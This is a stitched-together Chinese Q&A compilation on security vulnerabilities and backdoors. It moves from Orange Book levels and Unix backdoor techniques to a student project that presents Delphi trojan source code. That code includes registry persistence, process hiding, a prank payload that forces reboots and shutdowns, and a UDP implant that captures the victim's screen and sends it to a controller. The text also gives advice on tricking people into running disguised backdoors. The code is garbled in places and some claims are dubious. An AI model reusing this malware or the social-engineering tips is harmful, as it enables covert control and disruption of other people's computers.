㈠ 漏洞,後門是什麼意思/
漏洞是在硬體、軟體、協議的具體實現或系統安全策略上存在的缺陷,從而可以使攻擊者能夠在未授權的情況下訪問或破壞系統。具體舉例來說,比如在Intel Pentium晶元中存在的邏輯錯誤,在Sendmail早期版本中的編程錯誤,在NFS協議中認證方式上的弱點,在Unix系統管理員設置匿名Ftp服務時配置不當的問題都可能被攻擊者使用,威脅到系統的安全。因而這些都可以認為是系統中存在的安全漏洞。
漏洞與具體系統環境之間的關系及其時間相關特性
漏洞會影響到很大范圍的軟硬體設備,包括作系統本身及其支撐軟體,網路客戶和伺服器軟體,網路路由器和安全防火牆等。換而言之,在這些不同的軟硬體設備中都可能存在不同的安全漏洞問題。在不同種類的軟、硬體設備,同種設備的不同版本之間,由不同設備構成的不同系統之間,以及同種系統在不同的設置條件下,都會存在各自不同的安全漏洞問題。
漏洞問題是與時間緊密相關的。一個系統從發布的那一天起,隨著用戶的深入使用,系統中存在的漏洞會被不斷暴露出來,這些早先被發現的漏洞也會不斷被系統供應商發布的補丁軟體修補,或在以後發布的新版系統中得以糾正。而在新版系統糾正了舊版本中具有漏洞的同時,也會引入一些新的漏洞和錯誤。因而隨著時間的推移,舊的漏洞會不斷消失,新的漏洞會不斷出現。漏洞問題也會長期存在。
因而脫離具體的時間和具體的系統環境來討論漏洞問題是毫無意義的。只能針對目標系統的作系統版本、其上運行的軟體版本以及服務運行設置等實際環境來具體談論其中可能存在的漏洞及其可行的解決辦法。
同時應該看到,對漏洞問題的研究必須要跟蹤當前最新的計算機系統及其安全問題的最新發展動態。這一點如同對計算機病毒發展問題的研究相似。如果在工作中不能保持對新技術的跟蹤,就沒有談論系統安全漏洞問題的發言權,即使是以前所作的工作也會逐漸失去價值。
二、漏洞問題與不同安全級別計算機系統之間的關系
目前計算機系統安全的分級標准一般都是依據「橘皮書」中的定義。橘皮書正式名稱是「受信任計算機系統評量基準」(Trusted Computer System Evaluation Criteria)。橘皮書中對可信任系統的定義是這樣的:一個由完整的硬體及軟體所組成的系統,在不違反訪問許可權的情況下,它能同時服務於不限定個數的用戶,並處理從一般機密到最高機密等不同范圍的信息。
橘皮書將一個計算機系統可接受的信任程度加以分級,凡符合某些安全條件、基準規則的系統即可歸類為某種安全等級。橘皮書將計算機系統的安全性能由高而低劃分為A、B、C、D四大等級。其中:
D級——最低保護(Minimal Protection),凡沒有通過其他安全等級測試項目的系統即屬於該級,如Dos,Windows個人計算機系統。
C級——自主訪問控制(Discretionary Protection),該等級的安全特點在於系統的客體(如文件、目錄)可由該系統主體(如系統管理員、用戶、應用程序)自主定義訪問權。例如:管理員可以決定系統中任意文件的許可權。當前Unix、Linux、Windows NT等作系統都為此安全等級。
B級——強制訪問控制(Mandatory Protection),該等級的安全特點在於由系統強制對客體進行安全保護,在該級安全系統中,每個系統客體(如文件、目錄等資源)及主體(如系統管理員、用戶、應用程序)都有自己的安全標簽(Security Label),系統依據用戶的安全等級賦予其對各個對象的訪問許可權。
A級——可驗證訪問控制(Verified Protection),而其特點在於該等級的系統擁有正式的分析及數學式方法可完全證明該系統的安全策略及安全規格的完整性與一致性。 '
可見,根據定義,系統的安全級別越高,理論上該系統也越安全。可以說,系統安全級別是一種理論上的安全保證機制。是指在正常情況下,在某個系統根據理論得以正確實現時,系統應該可以達到的安全程度。
系統安全漏洞是指可以用來對系統安全造成危害,系統本身具有的,或設置上存在的缺陷。總之,漏洞是系統在具體實現中的錯誤。比如在建立安全機制中規劃考慮上的缺陷,作系統和其他軟體編程中的錯誤,以及在使用該系統提供的安全機制時人為的配置錯誤等。
安全漏洞的出現,是因為人們在對安全機制理論的具體實現中發生了錯誤,是意外出現的非正常情況。而在一切由人類實現的系統中都會不同程度的存在實現和設置上的各種潛在錯誤。因而在所有系統中必定存在某些安全漏洞,無論這些漏洞是否已被發現,也無論該系統的理論安全級別如何。
所以可以認為,在一定程度上,安全漏洞問題是獨立於作系統本身的理論安全級別而存在的。並不是說,系統所屬的安全級別越高,該系統中存在的安全漏洞就越少。
可以這么理解,當系統中存在的某些漏洞被入侵者利用,使入侵者得以繞過系統中的一部分安全機制並獲得對系統一定程度的訪問許可權後,在安全性較高的系統當中,入侵者如果希望進一步獲得特權或對系統造成較大的破壞,必須要克服更大的障礙。
三、安全漏洞與系統攻擊之間的關系
系統安全漏洞是在系統具體實現和具體使用中產生的錯誤,但並不是系統中存在的錯誤都是安全漏洞。只有能威脅到系統安全的錯誤才是漏洞。許多錯誤在通常情況下並不會對系統安全造成危害,只有被人在某些條件下故意使用時才會影響系統安全。
漏洞雖然可能最初就存在於系統當中,但一個漏洞並不是自己出現的,必須要有人發現。在實際使用中,用戶會發現系統中存在錯誤,而入侵者會有意利用其中的某些錯誤並使其成為威脅系統安全的工具,這時人們會認識到這個錯誤是一個系統安全漏洞。系統供應商會盡快發布針對這個漏洞的補丁程序,糾正這個錯誤。這就是系統安全漏洞從被發現到被糾正的一般過程。
系統攻擊者往往是安全漏洞的發現者和使用者,要對於一個系統進行攻擊,如果不能發現和使用系統中存在的安全漏洞是不可能成功的。對於安全級別較高的系統尤其如此。
系統安全漏洞與系統攻擊活動之間有緊密的關系。因而不該脫離系統攻擊活動來談論安全漏洞問題。了解常見的系統攻擊方法,對於有針對性的理解系統漏洞問題,以及找到相應的補救方法是十分必要的。
四、常見攻擊方法與攻擊過程的簡單描述
系統攻擊是指某人非法使用或破壞某一信息系統中的資源,以及非授權使系統喪失部分或全部服務功能的行為。
通常可以把攻擊活動大致分為遠程攻擊和內部攻擊兩種。現在隨著互聯網路的進步,其中的遠程攻擊技術得到很大發展,威脅也越來越大,而其中涉及的系統漏洞以及相關的知識也較多,因此有重要的研究價值。
㈡ 黑客中說的後門什麼意思
一般黑客都會在攻入系統後不只一次地進入該系統。為了下次再進入系統時方便一點,黑客會留下一個後門,特洛伊木馬就是後門的最好範例。Unix中留後門的方法有很多種,下面介紹幾種常見的後門,供網路管理員參考防範。
密碼破解後門
這是入侵者使用的最早也是最老的方法,它不僅可以獲得對Unix機器的訪問,而且可 以通過破解密碼製造後門。這就是破解口令薄弱的帳號。以後即使管理員封了入侵者的當前帳號,這些新的帳號仍然可能是重新侵入的後門。多數情況下,入侵者尋找口令薄弱的未使用帳號,然後將口令改的難些。當管理員尋找口令薄弱的帳號是,也不會發現這些密碼已修改的帳號。因而管理員很難確定查封哪個帳號。
Rhosts + + 後門
在連網的Unix機器中,象Rsh和Rlogin這樣的服務是基於rhosts文件里的主機名使用簡 單的認證方法。用戶可以輕易的改變設置而不需口令就能進入。入侵者只要向可以訪問的某用戶的rhosts文件中輸入"+ +",就可以允許任何人從任何地方無須口令便能進入這個帳號。特別當home目錄通過NFS向外共享時,入侵者更熱中於此。這些帳號也成 了入侵者再次侵入的後門。許多人更喜歡使用Rsh,因為它通常缺少日誌能力。許多管理員經常檢查 "+ +",所以入侵者實際上多設置來自網上的另一個帳號的主機名和用戶名,從而不易被發現。
校驗和及時間戳後門
早期,許多入侵者用自己的trojan程序替代二進制文件。系統管理員便依靠時間戳和系 統校驗和的程序辨別一個二進制文件是否已被改變,如Unix里的sum程序。入侵者又發展了使trojan文件和原文件時間戳同步的新技術。它是這樣實現的: 先將系統時鍾撥回到原文件時間,然後調整trojan文件的時間為系統時間。一旦二進制trojan文件與 原來的精確同步,就可以把系統時間設回當前時間。Sum程序是基於CRC校驗,很容易騙過。入侵者設計出了可以將trojan的校驗和調整到原文件的校驗和的程序。MD5是被 大多數人推薦的,MD5使用的演算法目前還沒人能騙過。
Login後門
在Unix里,login程序通常用來對telnet來的用戶進行口令驗證。 入侵者獲取login.c的原代碼並修改,使它在比較輸入口令與存儲口令時先檢查後門口令。如果用戶敲入後門 口令,它將忽視管理員設置的口令讓你長驅直入。這將允許入侵者進入任何帳號,甚至是root。由於後門口令是在用戶真實登錄並被日誌記錄到utmp和wtmp前產生一個訪問 的,所以入侵者可以登錄獲取shell卻不會暴露該帳號。管理員注意到這種後門後,便用"strings"命令搜索login程序以尋找文本信息。 許多情況下後門口令會原形畢露。入侵者就開始加密或者更好的隱藏口令,使strings命令失效。 所以更多的管理員是用MD5校驗和檢測這種後門的。
Telnetd後門
當用戶telnet到系統,監聽埠的inetd服務接受連接隨後遞給in.telnetd,由它運行 login.一些入侵者知道管理員會檢查login是否被修改,就著手修改in.telnetd. 在in.telnetd內部有一些對用戶信息的檢驗,比如用戶使用了何種終端。典型的終端 設置是Xterm或者VT100.入侵者可以做這樣的後門,當終端設置為"letmein"時產生一個不要任何驗證的shell. 入侵者已對某些服務作了後門,對來自特定源埠的連接產生一個shell。
服務後門
幾乎所有網路服務曾被入侵者作過後門。 Finger,rsh,rexec,rlogin,ftp,甚至 inetd等等的作了的版本隨處多是。有的只是連接到某個TCP埠的shell,通過後門口令就能獲取訪問。這些程序有時用刺媧□?Ucp這樣不用的服務,或者被加入inetd.conf 作為一個新的服務,管理員應該非常注意那些服務正在運行,並用MD5對原服務程序做校驗。
Cronjob後門
Unix上的Cronjob可以按時間表調度特定程序的運行。入侵者可以加入後門shell程序使它在1AM到2AM之間運行,那麼每晚有一個小時可以獲得訪問。也可以查看cronjob中 經常運行的合法程序,同時置入後門。
庫後門
幾乎所有的UNIX系統使用共享庫,共享庫用於相同函數的重用而減少代碼長度。一些入侵者在象crypt.c和_crypt.c這些函數里作了後門;象login.c這樣的程序調用了 crypt()。當使用後門口令時產生一個shell。因此,即使管理員用MD5檢查login程序,仍然能產生一個後門函數,而且許多管理員並不會檢查庫是否被做了後門。對於許多入侵者來說有一個問題: 一些管理員對所有東西多作了MD5校驗,有一種辦法是入侵者對open()和文件訪問函數做後門。後門函數讀原文件但執行trojan後門程序。所以當MD5讀這些文件時,校驗和一切正常,但當系統運行時將執行trojan版本的,即使trojan庫本身也可躲過MD5校驗,對於管理員來說有一種方法可以找到後門,就是靜態編連MD5校驗程序然後運行,靜態連接程序不會使用trojan共享庫。
內核後門
內核是Unix工作的核心,用於庫躲過MD5校驗的方法同樣適用於內核級別,甚至連靜態 連接多不能識別。一個後門作的很好的內核是最難被管理員查找的,所幸的是內核的 後門程序還不是隨手可得,每人知道它事實上傳播有多廣。
文件系統後門
入侵者需要在伺服器上存儲他們的掠奪品或數據,並不能被管理員發現,入侵者的文章常是包括exploit腳本工具,後門集,sniffer日誌,email的備分,原代碼,等等!有時為了防止管理員發現這么大的文件,入侵者需要修補"ls","","fsck"以隱匿特定的目錄和文件,在很低的級別,入侵者做這樣的漏洞: 以專有的格式在硬碟上割出一部分,且表示為壞的扇區。因此入侵者只能用特別的工具訪問這些隱藏的文件,對於普通的管理員來說,很難發現這些"壞扇區"里的文件系統,而它又確實存在。
Boot塊後門
在PC世界裡,許多病毒藏匿與根區,而殺病毒軟體就是檢查根區是否被改變。Unix下,多數管理員沒有檢查根區的軟體,所以一些入侵者將一些後門留在根區。
隱匿進程後門
入侵者通常想隱匿他們運行的程序,這樣的程序一般是口令破解程序和監聽程序(sniffer),有許多辦法可以實現,這里是較通用的: 編寫程序時修改自己的argv[] 使它看起來象其他進程名。可以將sniffer程序改名類似in.syslog再執行,因此當管理員用"ps"檢查運行進程時,出現 的是標准服務名。可以修改庫函數致使"ps"不能顯示所有進程,可以將一個後門或程序嵌入中斷驅動程序使它不會在進程表顯現。使用這個技術的一個後門例子是
amod.tar.gz :
網路通行。這些網路通行後 門有時允許入侵者通過防火牆進行訪問。有許多網路後門程序允許入侵者建立某個埠號並不用通過普通服務就能實現訪問。 因為這是通過非標准網路埠的通行,管理員可能忽視入侵者的足跡。 這種後門通常使用TCP,UDP和ICMP,但也可能是其他類型報文。
TCP Shell 後門
入侵者可能在防火牆沒有阻塞的高位TCP埠建立這些TCP Shell後門. 許多情況下,他們用口令進行保護以免管理員連接上後立即看到是shell訪問。 管理員可以用netstat 命令查看當前的連接狀態,那些埠在偵聽,目前連接的來龍去脈。 通常這些後門可以讓入侵者躲過TCP Wrapper技術。這些後門可以放在SMTP埠,許多防火牆允許 e-mail通行的.
UDP Shell 後門
管理員經常注意TCP連接並觀察其怪異情況,而UDP Shell後門沒有這樣的連接,所以 netstat不能顯示入侵者的訪問痕跡,許多防火牆設置成允許類似DNS的UDP報文的通行,通常入侵者將UDP Shell放置在這個埠,允許穿越防火牆。
ICMP Shell 後門
Ping是通過發送和接受ICMP包檢測機器活動狀態的通用辦法之一。許多防火牆允許外界ping它內部的機器,入侵者可以放數據入Ping的ICMP包,在ping的機器間形成一個shell通道,管理員也許會注意到Ping包暴風,但除了他查看包內數據,否者入侵者不會暴露。
加密連接
管理員可能建立一個sniffer試圖某個訪問的數據,但當入侵者給網路通行後門加密 後,就不可能被判定兩台機器間的傳輸內容了。
㈢ 什麼是後門
後門是一個多義詞,意思分別有:
1、後門是指一座建築背面開設的門,通常比較隱蔽,為進出建築的人提供方便和隱蔽。
㈣ 裝系統中的後門是什麼起什麼作用有什麼有利和有害的如何弄
系統後門一般是指那些繞過安全性控制而獲取對程序或系統訪問權的程序方法。
創建過程:在軟體的開發階段,程序員常常會在軟體內創建後門程序以便可以修改程序設計中的缺陷。
利弊:使再次侵入被發現的可能性減至最低。但是,如果這些後門被其他人知道,或是在發布軟體之前沒有刪除後門程序,那麼它就成了安全風險,容易被黑客當成漏洞進行攻擊。
作用:使系統管理員無法阻止種植者再次進入系統:使種植者在系統中不易被發現:使種植者進入系統花最少時間。
(4)ftp後門是什麼擴展閱讀
早期的電腦黑客,在成功獲得遠程系統的控制權後,希望能有一種技術使得他們在任意的時間都可以再次進入遠程系統,於是後門程序就出現了。
後門程序跟我們通常所說的「木馬」有聯系也有區別。聯系在於,都是隱藏在用戶系統中向外發送信息,而且本身具有一定許可權,以便遠程機器對本機的控制;區別在於,木馬是一個非常完整的工具集合,而後門則體積較小且功能都很單一,所以木馬提供的功能遠遠超過後門程序。
㈤ 電腦後門是什麼意思
電腦後門是指那些繞過安全性控制而獲取對程序或系統訪問權的程序方法。
在軟體的開發階段,程序員常常會在軟體內創建後門程序以便可以修改程序設計中的缺陷。但是,如果這些後門被其他人知道,或是在發布軟體之前沒有刪除後門程序,那麼它就成了安全風險,容易被黑客當成漏洞進行攻擊。
後門程序不僅繞過系統已有的安全設置,而且還能挫敗系統上各種增強的安全設置。而且在病毒命名中,後門一般帶有backdoor字樣,而木馬一般則是Trojan字樣。
著名後門
最著名的後門程序,該算是微軟的Windows Update了。Windows Update的動作不外乎以下三個:開機時自動連上微軟的網站,將電腦的現況報告給網站以進行處理,網站通過Windows Update程序通知使用者是否有必須更新的文件,以及如何更新。
如果針對這些動作進行分析,則「開機時自動連上微軟網站」的動作就是後門程序特性中的「潛伏」,而「將電腦現況報告」的動作是「搜集信息」。
因此,雖然微軟「信誓旦旦」地說它不會搜集個人電腦中的信息,但如果我們從Windows Update來進行分析的話,就會發現它必須搜集個人電腦的信息才能進行操作,所差者只是搜集了哪些信息而已。
㈥ 電腦網路中的「後門」是什麼意思
電腦網路中的「後門」即是網路的漏洞
一、問題的提出
"The Internet is now more like an unlocked diary,with millions of consumers divulging marketable details of their personal lives,from where they live to what they eat for dinner."這是著名匿名伺服器站點Anonymizer上曾有過的一段話。是的,在不知不覺中,E時代已經到來,網路給我們的生活增添了絢麗與多彩。但是,在這五彩繽紛的世界下面,潛伏著一股黑潮暗流--黑客(HACKER)。這個名詞越來越引起世人的關注,而且影響越來越大,關於黑客事件的報道也越來越多。黑客是伴隨網路產生成長的,是指那些對電腦和網路有狂熱興趣的人,他們不斷的研究電腦和網路知識,發現電腦和網路中的漏洞,喜歡挑戰高難度的網路系統,千方百計的尋找網路中的大小漏洞,然後向網路管理員提出解決漏洞的建議。真正的黑客大多是賦有正義感的。他們不會惡意侵入他人系統,並且破壞系統程序和數據。但有一些人特別崇拜黑客,喜歡利用電腦網路四處搗亂,到處尋找黑客軟體,然後到處搞破壞,這類人應該是網路上最危險的傢伙。現在的媒體把這類人是黑客混為一談,"黑客"一詞也因此成了貶義詞。
現在的黑客軟體十分多,Back Orific、冰河、YAI到處都有。接觸網路後,我經常想:黑客軟體到底是如何編制的?我能編一個黑客軟體多好呀!這到不是想干壞事,因為在網路機房上課時,用一些黑客軟體可以作為控制工具來控制學員的機器(如:冰河)。可見黑客軟體本身不象病毒是個不好的東西,是可以用在正路上的。經過我的摸索,初步掌握了一些設計方法,主要是特洛伊木馬程序。本次畢業設計,我設計一個模擬黑客入侵程序,一個惡作劇程序,一個可以截獲網路上別人在機器上幹些什麼的程序,幾個程序純屬用於實驗,沒有什麼其它目的。在這里向各位老師匯報一下。程序設計的語言用的是PASCAL,用DELPHI 4進行編譯。
二、"特洛伊木馬"如何入侵系統
一個完整的"特洛伊木馬"一般分為兩個部分:一個是客戶服務程序(Client),用它來控制已經打開"後門"的機器;另一個是"後門"程序,用它來開放某台機器。假設我們想控制某台電腦,那麼我們通過一些手段來把"後門"程序傳到該電腦中並使其運行,這樣該電腦就變成了一台特殊的FTP伺服器。然後我們使用Client程序就可以控制該電腦了。當然,後門程序如果不運行也就無法發揮作用。因此,就要"誘騙"別人使用後門程序。如果是朋友或熟人,利用他們的信任讓他運行就行了;要是陌生人,可以在聊天室中和他們套近乎,一旦取得信任,把程序發給他們,誘騙其運行。當然,程序要隱蔽一些,例如可以把後門程序改名,變為README之類,或改變後綴,變成GIF、BMP等,當他們雙擊這些文件後就上了"賊船"了。也可以用WINZIP的把後門程序和一些東西製作成一個自解壓包,然後利用設定解壓後自動運行SETUP程序功能來運行指定的後門程序。總之,要利用一切手段使人家運行後門程序。
木馬程序運行後,會通過不同的方式修改系統,以便以後啟動系統後自動運行木馬。修改方法一般是通過修改注冊表:
Hkey_local_machine \Software\Microsoft\Windows\CurrentVersion\Run和
Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\RunServices中的項目是在系統開機時自動載入的,我們可以在這兩添加鍵值,達到自動啟動的目的。以下的這段代碼可以修改注冊表,並調用API函數判斷系統目錄,復制文件到其下,以實行入侵系統的目的:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,registry;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procere Button1Click(Sender: TObject);
procere Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procere TForm1.Button1Click(Sender: TObject);
var
regf:tregistry;
sysdir:pchar;
temp:string;
begin
getmem(sysdir,256);
getsystemdirectory(sysdir,128);
temp:=sysdir+'\client.exe';
freemem(sysdir,256);
regf:=tregistry.create;
regf.rootkey:=hkey_local_machine;
regf.openkey('software\microsoft\windows\currentversion\run',true);
regf.writestring(' ',temp);
regf.free;
file(pchar('hacker.exe'),pchar(temp),true);
end;
procere TForm1.Button2Click(Sender: TObject);
begin
close;
end;
end.
也有些高明的程序可以感染系統文件,附著在這些程序文件中,以達到其目的。我還沒有搞清楚這是怎樣辦到的。
在Windows中按下Ctrl+Alt+Del可以顯示當前運行的程序,這樣一來,我們的木馬程序不是要露餡了嗎?以下這段匯編代碼可以很方便的嵌入DELPHI或C++中,讓別人看不到你的程序,可以很好的隱藏:
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
為什麼這段匯編代碼可以隱藏程序呢?據資料分析:在WINDOWS 9X載入應用程序時,FS指向的段就是類似於DOS應用程序的PSP,裡面保存著一些有關應用程序重要數據,按下Ctrl+Alt+Del後,對於一個應用程序,若沒有可顯示的ENABLE窗口的名字,則系統要檢查上面程序段中的特定雙字是不是10800000h,如果是就不顯示這個應用程序的可執行文件的名字。
下面是一個惡作劇的程序,入侵計算機後,每次開機後,隨機出現滑鼠亂跑並發出怪叫、熱啟動、強行關機的現象,讓你無法進入WINDOWS 9X。對於一般的計算機用戶來說,因為找不出這個程序在何處,所以只能格式化系統區,重新安裝系統。
program hacker;
uses
windows;
var temp:integer;
begin
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
randomize;
temp:=random(3);
if temp=0 then
while(true) do
begin
messagebeep(0);
SetCursorPos (random(640),random(480));
end
else if temp=1 then
ExitWindowsEx(EWX_REBOOT,0)
else ExitWindowsEx(EWX_SHUTDOWN,0);
end.
有的木馬為了防止發現後被清除,在啟動時會產生一個備份,一般是感染WINDOWS的系統文件,當木馬被發現並清除後,備份會自動激活,使你依然處於遠程黑手的控制。比如當前國最盛行的"冰河",首先會修改注冊表的啟動項目,將自己復制兩份到系統中,分別為KERNEL32.EXE和SYSEXPLE.EXE,並且修改TXT文件的打開方式,一旦KERNEL32.EXE被刪除,那麼當打開一個TXT文件時,SYSEXPLE.EXE將再產生一個KERNEL32.EXE文件。
另外,有的木馬還能在運行後修改文件名,或者復制感染系統後,進行自我銷毀,使用戶很難進行查找。
三、木馬的種類
1、破壞型
惟一的功能就是破壞並且刪除文件,可以自動的刪除電腦上的DLL、INI、EXE文件。
2、密碼發送型
可以找到隱藏密碼並把它們發送到指定的信箱。有人喜歡把自己的各種密碼以文件的形式存放在計算機中,認為這樣方便;還有人喜歡用WINDOWS提供的密碼記憶功能,這樣就可以不必每次都輸入密碼了。許多黑客軟體可以尋找到這些文件,把它們送到黑客手中。也有些黑客軟體長期潛伏,記錄操作者的鍵盤操作,從中尋找有用的密碼。
在這里提醒一下,不要認為自己在文檔中加了密碼而把重要的保密文件存在公用計算機中,那你就大錯特錯了。別有用心的人完全可以用窮舉法暴力破譯你的密碼。利用WINDOWS API函數EnumWindows和EnumChildWindows對當前運行的所有程序的所有窗口(包括控制項)進行遍歷,通過窗口標題查找密碼輸入和出確認重新輸入窗口,通過按鈕標題查找我們應該單擊的按鈕,通過ES_PASSWORD查找我們需要鍵入的密碼窗口。向密碼輸入窗口發送WM_SETTEXT消息模擬輸入密碼,向按鈕窗口發送WM_COMMAND消息模擬單擊。在破解過程中,把密碼保存在一個文件中,以便在下一個序列的密碼再次進行窮舉或多部機器同時進行分工窮舉,直到找到密碼為止。此類程序在黑客網站上唾手可得,精通程序設計的人,完全可以自編一個。
3、遠程訪問型
最廣泛的是特洛伊馬,只需有人運行了服務端程序,如果客戶知道了服務端的IP地址,就可以實現遠程式控制制。以下的程序可以實現觀察"受害者"正在干什麼,當然這個程序完全可以用在正道上的,比如監視學生機的操作。
程序中用的UDP(User Datagram Protocol,用戶報文協議)是網際網路上廣泛採用的通信協議之一。與TCP協議不同,它是一種非連接的傳輸協議,沒有確認機制,可靠性不如TCP,但它的效率卻比TCP高,用於遠程屏幕監視還是比較適合的。它不區分伺服器端和客戶端,只區分發送端和接收端,編程上較為簡單,故選用了UDP協議。本程序中用了DELPHI提供的TNMUDP控制項。
受控機程序部分:
讓控制項CUDP監視受控機的1111埠,當有數據發送到該口時,觸發控制項CUDP的ONDATARECEIVED事件;REMOTEPORT屬性設為2222,當控制項CUDP發送數據時,將數據發送到主控機的2222口。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
NMUDP, ComCtrls;
type
Tclient = class(TForm)
cudp: TNMUDP;
Animate1: TAnimate;
procere FormCreate(Sender: TObject);
procere FormDestroy(Sender: TObject);
procere cudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations }
public
{ Public declarations }
end;
var
client: Tclient;
implementation
const bufsize=2048;//發送每一批數據的緩沖區大小
var
bmpstream:tmemorystream;
leftsize:longint;
{$R *.DFM}
procere screencap(leftpos,toppos,rightpos,bottompos:integer);
var
recwidth,recheight:integer;
sourcedc,destdc,bhandle:integer;
bitmap:Tbitmap;
begin
recwidth:=rightpos-leftpos;
recheight:=bottompos-toppos;
sourcedc:=createdc('display','','',nil);
destdc:=createcompatibledc(sourcedc);
bhandle:=createcompatiblebitmap(sourcedc,recwidth,recheight);
selectobject(destdc,bhandle);
bitblt(destdc,0,0,recwidth,recheight,sourcedc,leftpos,toppos,src);
bitmap:=tbitmap.Create;
bitmap.Handle:=bhandle;
bitmap.SaveToStream(bmpstream);
bmpstream.Position:=0;
leftsize:=bmpstream.Size;
bitmap.Free;
deletedc(destdc);
releasedc(bhandle,sourcedc);
end;
procere Tclient.FormCreate(Sender: TObject);
begin
bmpstream:=tmemorystream.create;
end;
procere Tclient.FormDestroy(Sender: TObject);
begin
bmpstream.free;
end;
procere Tclient.cudpDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
ctrlcode:array[0..29] of char;
buf:array[0..bufsize-1] of char;
tmpstr:string;
sendsize,leftpos,toppos,rightpos,bottompos:integer;
begin
cudp.ReadBuffer(ctrlcode,numberbytes);//讀取控制碼
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]='show'
then
begin//控制碼前4位為"SHOW"表示主控機發出了截屏指令
if bmpstream.Size=0 then//沒有數據可發,必須截屏生成數據
begin tmpstr:=strpas(ctrlcode);
tmpstr:=(tmpstr,5,length(tmpstr)-4);
leftpos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
toppos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
rightpos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
bottompos:=strtoint((tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr)));
screencap(leftpos,toppos,rightpos,bottompos);//調用截屏函數
end;
if leftsize>bufsize then sendsize:=bufsize
else sendsize:=leftsize;
bmpstream.ReadBuffer(buf,sendsize);
leftsize:=leftsize-sendsize;
if leftsize=0 then bmpstream.Clear;
cudp.RemoteHost:=fromip;//FROMIP為主控機IP地址
cudp.SendBuffer(buf,sendsize);//將數據發到主控機的2222埠
end;
end;
end.
主控機程序部分:
讓控制項SUDP監視主控機的2222埠,當有數據發送到該口時,觸發SUDP的ONDATARECEIVED事件;REMOTEPORT屬性設為1111,當控制項SUDP發送數據時,將數據發到受控機的1111口。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, Buttons, NMUDP;
type
Tsever = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
BitBtn1: TBitBtn;
Image1: TImage;
BitBtn2: TBitBtn;
sudp: TNMUDP;
procere BitBtn2Click(Sender: TObject);
procere FormCreate(Sender: TObject);
procere FormDestroy(Sender: TObject);
procere BitBtn1Click(Sender: TObject);
procere sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations }
public
{ Public declarations }
end;
var
sever: Tsever;
implementation
const bufsize=2048;
var
rsltstream,tmpstream:tmemorystream;
{$R *.DFM}
procere Tsever.BitBtn2Click(Sender: TObject);
begin
close;
end;
procere Tsever.FormCreate(Sender: TObject);
begin
rsltstream:=tmemorystream.create;
tmpstream:=tmemorystream.create;
end;
procere Tsever.FormDestroy(Sender: TObject);
begin
rsltstream.free;
tmpstream.free;
end;
procere Tsever.BitBtn1Click(Sender: TObject);
var
reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strp(reqcode,reqcodestr);
tmpstream.Clear;
rsltstream.Clear;
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;
procere Tsever.sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
var reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strp(reqcode,reqcodestr);
sudp.ReadStream(tmpstream);
rsltstream.CopyFrom(tmpstream,numberbytes);
if numberbytes<bufsize then
begin
rsltstream.Position:=0;
image1.Picture.Bitmap.LoadFromStream(rsltstream);
tmpstream.Clear;
rsltstream.Clear;
end
else
begin
tmpstream.Clear;
reqcode:='show';
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;
end;
end.
四、如何預防黑客
黑客程序雖然破壞大,但不是不能防止的。
1、處理好你的密碼
我們一般是用賬號和密碼來上網的,密碼的設置無疑是十分講求技巧的,許多人的安全防範意識差,不注意密碼的設置,造成自己的賬號被盜用。如今的黑客軟體都是掛上密碼字典,然後用窮舉法進行破解,密碼太簡單,那麼破解的可能性就大了。以下是一些注意事項。
⑴ 密碼不可和賬號相同,這是最容易被猜到的了。
⑵ 經常更改密碼,拿到新賬號後要立即更改密碼,不要放久了。
⑶ 密碼最好多於8個字元,字元越長,破解難度越大。例如WORD文檔的密碼大於8位後,目前的破解軟體幾乎無法攻破。另外,最好在密碼中加入一些控制鍵,增加破譯難度。千萬不可用單一的字母或數字。
⑷ 有人喜歡用自己的生日、電話、身份證號碼等作為密碼,你不要這樣做。
⑸ 密碼盡量不要記顯眼的紙張上,更不能保存在計算機中,不要貪圖一時方便,用WINDOWS提供的保存密碼功能。
2、不要運行不明真相的程序
無論都高明的黑客程序,只要你不去運行它,就無法害到你。所以,不可相信網友的話,不要去運行他提供的程序;不要隨意去打開別人寄來的附件,無論他把附件中的圖片或影片吹得如何好看;要到大的、著名的網站去下載軟體,千萬不要到不明真象的個人網頁下載,因為在那兒你可能下載的病毒和黑客之手;如果你十分羨慕黑客,也請你不要下載所謂的黑客軟體,否則你沒害到別人,自己反被害了;如果你的機器上有防火牆,在上網時一定要打開,不要怕麻煩。
3、經常檢查系統信息
